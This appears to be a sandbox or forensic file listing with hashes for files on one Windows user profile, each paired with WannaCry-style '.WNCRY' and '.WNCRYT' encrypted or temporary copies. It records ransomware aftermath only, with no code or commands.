C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.0_0\images\topbar_floating_button_pressed.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\128.png.WNCRY (copy)	Type: MD5: 40F804486C670A6A107EE83740C24382 SHA: EA8521EC398DF268911FBC7DD13F820BA14A6B60 SHA-256: 9E689900904E1E829B326D593F5A1F7EF1452DB7393D0F753F1099796E12F227 SHA-512: E16449815ADAD79EF5D03480DBEE8F42FF994DB33213BD17F3E7CB13CDEDF1879EB772EC5672C2E6F9FDEB5CB8CB0DA294A984FACE3506094B1485F3CBEE89ED	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\128.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\angular.js.WNCRY (copy)	Type: MD5: 615A27F14D0F3031FFB3FAE682934B2A SHA: F9A4CA40334362C711559CD6865BE12C1D3C158C SHA-256: 8E4BE6ABDDAF30F07F2DD8FDF046493972A9EB9CA689DC4B17D3F43E346397D1 SHA-512: EEC89B49A05CABD1C47F904B7880F3C69CDB4B047EC5B528FFE13714000C933E3B185A7DCE15ADDE0A36E5366D7BBCE11D8AD0D2CAFBDFB0D9B57C1E54B9CAB6	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\angular.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\background_script.js.WNCRY (copy)	Type: MD5: 997805239D22C14A8A5C13C9DE2074E5 SHA: B16966B32EA30FD9CCE228BF13463059A5D9257D SHA-256: 2ED76C412D6D81436DE5816BC5505315A3C8568D9415FA2E7A47AF32654E95CF SHA-512: 270836A1E80E5CA6B836F2704EF2B1B9382DDFB9C4825F479192FC3F2135A8E903EE9F2C0BCBD6D025538999AB6DAE257584E81DB7276E3FC88B1492BFDD855E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\background_script.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_game_sender.js.WNCRY (copy)	Type: MD5: 97800C73BA69888B4C82E8ACCAFF321C SHA: 708F539A27C3891ED1F05111783598559E319712 SHA-256: C463FD7B0FE79AED8A54A74966D0F8744D3A9A0BD17335BFED40B42EF6319C65 SHA-512: 75D7E88915D474C7D2748A3F243BE6364A8ADE72B697AC0B4FFA3F8BC6A32540F19F922AC0230D7619A8C1607D904D77255B6E52E848AEE8F577CEDC2452BD14	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_game_sender.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_route_details.js.WNCRY (copy)	Type: MD5: CF3FFEB24AEB83A32158B997577C0962 SHA: D2204E52F3469ABEC8F2C97871336F4C2BECFD9F SHA-256: 022D645269D02F315C3649B6F1B69365FC64A613DF8D8D7121BD674EDCD66850 SHA-512: 848F8774508455865FF102A2408DCD9D15865060239DD7774938732DEB8A2A65FB98286A167116D63668B8814E9CDFED48F55C85751CCEF4DB466A1E68CE739E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_route_details.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_sender.js.WNCRY (copy)	Type: MD5: 590B68117A7DFDCA852AB1A1E0370678 SHA: 34D96CDBB275CE1FD6A0EF320677C24F651B9AC7 SHA-256: 81DA0EE05F5926DE68FE9DA12A4328848673F232482403E79FE0F9A124716228 SHA-512: C261D163BED26686EAB19845784450B998836C38D1FFBE4CE6587B4F46F2A5CBC0E7D6FD60A7CBB89DDE8C184585543D0060C105E3F044CB2F0F7433AA4A32EC	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_sender.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\cast_app.js.WNCRY (copy)	Type: MD5: D7CD1E0307AA34088E5CE787EA619776 SHA: 61DC1321CB0FF92109D897B60001F1A704842E82 SHA-256: 08B95239E206B71E8A933A29BF538FA5937194FCC9C549354D82A5EEB2287855 SHA-512: D5FFA28CB6C90BC19A409BBC4B5FA1CC07CAC6154E4C0BE03FF22A00F7CDD5EB8588400917A3A1D02B08F88A65510B6917CDAF4DED5D0530EA78BE5043D401BC	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\cast_app.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\cast_app_redirect.js.WNCRY (copy)	Type: MD5: FF6D4F80A69D0D3E380C8211F27BD577 SHA: 8CF0479FA027C2A5464F6240E6C76FCCFEE60CCD SHA-256: 2AC1C92230DC69ED6AE8AEB0BB0BF978E36FC71547CD9A65BBA357F14110E5B8 SHA-512: 1D09132628040173DA24590D4830E4582FB08B3310BDAD05DB46E8B1A24CD7FA219F1EE7D6FA70E88A07458190C94D92440EF6FE170B0123AA088C77CEA29151	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\cast_app_redirect.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\chromecast_logo_grey.png.WNCRY (copy)	Type: MD5: 523931455FE5DE1AED5A525CD93E5CCF SHA: 3D56F033FA018A6C9EEFFDE7D024923138E34A77 SHA-256: FCC2AD463E4EF4997C64DEC20869E8FF4D8D09B153ECB4BA1B68B1C3BE0F2242 SHA-512: F0E87B5CAF7E2BA0EB5E889EE2B4F9AA2E1376E53ABECD16B7042DFEB930F2B00FDC48BFFC93A08C551C020AF47961DC723BB3938B2EF094955ECDD84EF715E1	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cast_setup\chromecast_logo_grey.png.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cloud_route_details\view.js.WNCRY (copy)	Type: MD5: 149BEA5247C95C3980C9DAE9DB39E182 SHA: A7CBF1F06B3AE4A89A968F683CDC477DB5A57544 SHA-256: 689C42FA1E24CB91444EB780C08F817E19D5CF2865A738E3EEA02DFCB184E822 SHA-512: 462BF4A02304C8B89178A6CB26B9F0F71D303C97288F0E0B91C4ED3C841D2334E0A185551E5DCD92CCDA05E2510F831E6C7377BFF962DD6DEED0B29D5449EB96	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\cloud_route_details\view.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\common.js.WNCRY (copy)	Type: MD5: 180F6D5C5508336167175FA16C11017E SHA: 134D73737904DD25CCED386E32EC1001CF78FB30 SHA-256: 4AECA8E1725BB9C4E0529732DE15346C07236DEAAA7DF7C03935B2BF72E71253 SHA-512: A4EFC08672A2A45CAEBE81CD02A3073CF0708ECEFE81445074F558CECD235958B91942E14D8E4C03D704E54389957CAAEF357B89DEDA1CBFEB92FB71F4DC5B5E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\common.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\feedback_script.js.WNCRY (copy)	Type: MD5: EEFF7B47C281FF4609DC3F59EB5F4794 SHA: 4439BD592B8E8DA536CB527DF43A7F7D9F896370 SHA-256: 39C19CB805B0A0176A65BF74300A5CDF7511E86AE9AAF9D63B73E595986A7827 SHA-512: CF14C987317A4DF7F07166815F4997BAD9B3BFD3C5ECD9E615454657116A72EA265F6EB400F078C8E4EEB6C9B9D1D8AF6918CC13FDED4FB17B25DA1288A9EC2B	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\feedback_script.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\mirroring_common.js.WNCRY (copy)	Type: MD5: DB2CF5B5C3EBA2DFDFC1626DEB8D4FDE SHA: 8A7D910A18A64771B0C42EA95E5CCB69DB5BAF92 SHA-256: 4A74DFAB16885AC17309D1ACE93856E1511FF4E2B235869AD62AC995275511A6 SHA-512: EC976F1AEEECA029B3D3A1B93A1658EB4F723D9ED69EFA3C049001BF904EF5C0C3A1E21B6F3699AC7709E77D88A2770D999977B4F93CAA2C5B154597C06EB210	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\mirroring_common.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\mirroring_hangouts.js.WNCRY (copy)	Type: MD5: 8B9944CC42A43301603110FB22496CCC SHA: 82418B286E6327D47EFDEF1C526F6CB8F8E64F3B SHA-256: 2E220DA8D074B296FD7BFC4B80DBF7DB466C15ABF8225BE0ABE87A5BB7F4CC88 SHA-512: A7B8A9A5CD7F022538838D16E63EFA796DE67801CF2EF30FAC61B87792D72EB7CF6EF801D05894C2780CA7810433ACDDCE176150D1AB6FD4050B6EAACF3CFDBB	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\5516.1005.0.3_0\mirroring_hangouts.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy)	Type: MD5: 835341961D5D629E221523A958D2FA38 SHA: 14F903DD2943A6E697840EE537AE4B49193F0581 SHA-256: E531D9043441B9A7F24793BDA8A4182EDC957D5A7403A6F9BF062062D8E8AFD4 SHA-512: DA95361D961ED086F4CDA08BAA83ACAF73FBDE59ED0DE4037B4F55381590404751C31D3FEC4BF662D7D9C51433965D5E39792EE0D4B3946FA6AAD585910409FC	false
C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\IconCache.db.WNCRY (copy)	Type: MD5: AE8A768954115C2ACCD7C4ECBE3937C2 SHA: BC5842AC5754DC224E36C885AE7D6E9B465C05D1 SHA-256: 975A0D9E3DBFE82087933B2958710DB1C01CCA503F632EA36A372C7895B3A6AB SHA-512: 2DF23057ADA0389EA2BF484B0E061922992EC8474EA76B2AE2BEE5A74DA05D283F2EAF79F8CFFE073B75A76C79D3E62B930F22A94C41F1386DB31A53B0103C51	false
C:\Users\luketaylor\AppData\Local\IconCache.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRY (copy)	Type: MD5: BCE7A961360A4DD9A87354E187CA5412 SHA: 6FAF87C94EBFD14C255A67664E9D3B7FD4C5F287 SHA-256: 520E74867A688EA0D5D821343D8BFB001AD1BAF51FDA5E7B31E5C130A3615FE9 SHA-512: 5354EC5F8980427DA148B7E1B4901CD6A4D08AED77FE9A91D4B81BEEF167EC230C7098A2B873EAD777F24C2E728B3157783C04BB70AB94EE7F231F0CBFCD1388	false
C:\Users\luketaylor\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRY (copy)	Type: MD5: 5A2090757E499ADE8F782FDFEC2CC68A SHA: 14A41560C2EE96BA59041D6B112BC0F2CFF66C50 SHA-256: 7A955DCE7B4AFAC4E29B99D631852E95514FFD1F64680F35E5FCCB9F874E61EE SHA-512: AF8D046BDD2CCDAC6A51C52916EB93374ACA1AB51E5B2AA346F901AB77C3D286DBE2827F4FC58C32858495019FC3AE17E421E29F4BA809E53071F3B8824E11FC	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Bears.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRY (copy)	Type: MD5: E6FDD355BD70522D1DADBEC61F7B9A08 SHA: FFE4BD4FED48A3D85C16AB7298E67EE6591FF03F SHA-256: ECF15D5A95D1C0991ACB54D1BDD1C558A17187B2F8678A34C0CCD663D8557714 SHA-512: A4585D85B6F7EE117B97A24E3EFE664A015C2A368E04BBC1ED9507D0709BE6796FBF1E694F7EECB9B0040531C51FA9472C8352A0685E89E124FB55394DED6927	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Blue_Gradient.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Cave_Drawings.gif.WNCRY (copy)	Type: MD5: 4BAA02FBBA4F2519DEC1ABF399E71CBF SHA: 9168D6AE4DBFB7B07416DD26C38294571E975911 SHA-256: D6F5B0EBCCC7238CDD15F9AE0FA9AD2FA6FC4F19EFAF39AA9986EA6F3A65BC5F SHA-512: EBFBED5455AD05F1183D2BFC9944891B92F5AC5D64A06570C02C365D0571C8D3AF2774DFDF8724F6D4859A70021C867B5767D7F1DACD5E75EC94D809D4C219A5	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Cave_Drawings.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Connectivity.gif.WNCRY (copy)	Type: MD5: 99E4215536EC055EA4B402C799D79691 SHA: C1E22618841A5D31827E455DEC0E8B19950CCCEF SHA-256: 2AF55325EC64374D63177CEF6584ED54E1D52C074348E9935B631105ECDBD3B6 SHA-512: 27A160CCE101AE904796453985E3113ECB83FEEA4B3F100718CCC5825C61187E2F71976400907A26D84450BBD185FA788538AFE661E407C5AE4E19269CC6183F	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Connectivity.gif.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.jpg.WNCRY (copy)	Type: MD5: FE650F38CF957AE81079D5B0A5A19A37 SHA: 3D3A64C3C15562488A0627BE7FA29E71FADAC635 SHA-256: F069B03411CCAB5CB72E81304ADC67DDEB89D6946DD4A794F0B61DC4ADDF6A18 SHA-512: 4BD31D5F93040D1471101A4622CAD32773269F08E89DDC3B8B3CFDB2CF590DF646FFAA684C33E92B49C7C6B802B8537CD587072BC2057175433B21F8DA11EFEB	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\GreenBubbles.jpg.WNCRY (copy)	Type: MD5: BC8E9046109C4EF3F1DFABB9D35831C1 SHA: 8163BD8D80AC848E15FA15B45839AC1388F01A64 SHA-256: 53240AB87B43794B45C5F86D61238EB5C4E4F325BBC477331568DC10DF36EE34 SHA-512: 5D8A1D7850EA4070296E4FD7B521A2FE0C1BA4EDFE9905B28414435F6E79D021CDA69AEE5A3F4AB91074F7B2BC42AD329EC6FC732189EF9473511A186F32BFD6	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\GreenBubbles.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\HandPrints.jpg.WNCRY (copy)	Type: MD5: 48B8A18582E7FAAD0450D132185B5E80 SHA: 78553895CA5AB3658AF02259FE047E8B8DCCC1E1 SHA-256: 657C76D166C5289C051927EF594678F120D0A0932521E700EACD29F9C231B888 SHA-512: 45B1F1EF9FA25DF0960EE70EBC67AFB0826DCD8316AE8672C2405E466CB90CE4398ED0DBDDCFE7212BF726EE86C07FE7456641157ECC68B55A29E61A365220EC	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\HandPrints.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Monet.jpg.WNCRY (copy)	Type: MD5: A9C1EB12EED3126934A01CD2DFCDC202 SHA: 66F6D80864AA0CB4BEF51ACBD6D3A42FCFA97B4D SHA-256: 2E5E72368D1ECE0D049A20C75F836D6C09CE98945AC72CF072901B60E1A3B495 SHA-512: 85BAC2B50767259AFEA25101AAFF2103514CCB98FC49A6515499562A07E8DFA35F9D5D03D63119A4F372715904371E03151DD73F0678E546750E94ADA2AC51B3	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Monet.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Local\Microsoft\Windows Mail\Stationery\Notebook.jpg.WNCRY (copy)	Type: MD5: 38A53430DEE637B97B7614C994E00744 SHA: 203F4F8659A5DB72A21ECCC02FABA2455B5A513A SHA-256: D46C9D5D62FF49C907EB1AC5D4602AE6E03E396B45452AC2BCC9B3F27DC44CAA SHA-512: 11829004CFC38AA00F838F099AF7941E75F81FA64672E38105A9CE085BE51BC8BBC45EB4DA038736DCF13E38680D74549D40FDE52F1B39E27776DC46225D373B	false
